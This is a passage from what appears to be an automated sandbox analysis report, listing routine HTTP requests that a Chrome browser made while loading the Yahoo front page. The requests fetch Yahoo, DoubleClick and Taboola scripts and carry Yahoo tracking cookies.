A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=8551ac12-1fc9-3d5d-ab15-8e6326882e08,7a673a73-42b0-3bbf-8576-5ad2cdb23c41,73240f47-271e-3691-bf46-85ad4f19d81c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=900,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableRRAtTop,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1pa4ckpjflnfm HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /tag/opus.js HTTP/1.1Host: opus.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-toggle-1.15.4-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-featurebar.custom.modern.12732500bc8e47693f0d777bbe88001c.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-caas-1.36.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/c/1477f29.caas-news_web.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-fetch-1.19.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-lightbox-1.10.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-text-1.2.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-video-3.2.2-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/managed/js/gpt/m202409240101/pubads_impl.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/js/gpt.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-scrollview-2.23.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-bind-1.1.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-countdown-1.2.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-benji-1.2.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/opus.js HTTP/1.1Host: opus.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-image-1.4.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libtrc/yahooweb-network/loader.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-beacon-1.3.4-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bid/yoo/adslot/13885/?pa=1 HTTP/1.1Host: gps-aa.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=8551ac12-1fc9-3d5d-ab15-8e6326882e08,7a673a73-42b0-3bbf-8576-5ad2cdb23c41,73240f47-271e-3691-bf46-85ad4f19d81c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=900,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableRRAtTop,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1pa4ckpjflnfm HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=2b2a262c-878f-3f65-9ba6-39ad37b780eb,b919e796-b03c-39fc-87e7-500abd2430fc,dce5eeb8-da4f-3016-b6b1-671a1b05f180,cc162679-b996-3b22-bf08-a33e637cd3e7,e83ce260-cc8d-4911-9251-00d71cd9beb8,877f8ab1-324b-3028-8015-3030372e4744,12f9c9af-c6c2-3c17-b79d-5f82604d80b2,9df6c4a7-8f43-3b8c-bc27-cbec371808d8,d6bedef8-7f7f-361b-a1ed-95df489e3d8b,17667347-cb18-3690-87e0-525837a669bf&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=900,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableRRAtTop,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1pa4ckpjflnfm HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /libtrc/static/topics/taboola-browsing-topics.html HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-clipboard-copy-1.0.2-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-rapid-1.10.9-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC=19cw~2kzt; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A
Source: global traffic	HTTP traffic detected: GET /.well-known/interest-group/permissions/?origin=https%3A%2F%2Fgps-aa.ybp.yahoo.com HTTP/1.1Host: pa.ybp.yahoo.comConnection: keep-aliveAccept: application/jsonOrigin: https://gps-aa.ybp.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/cprops/colors_1.1.27.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /manifest_desktop_us.json HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC=19cw~2kzt; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-fetch-1.19.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
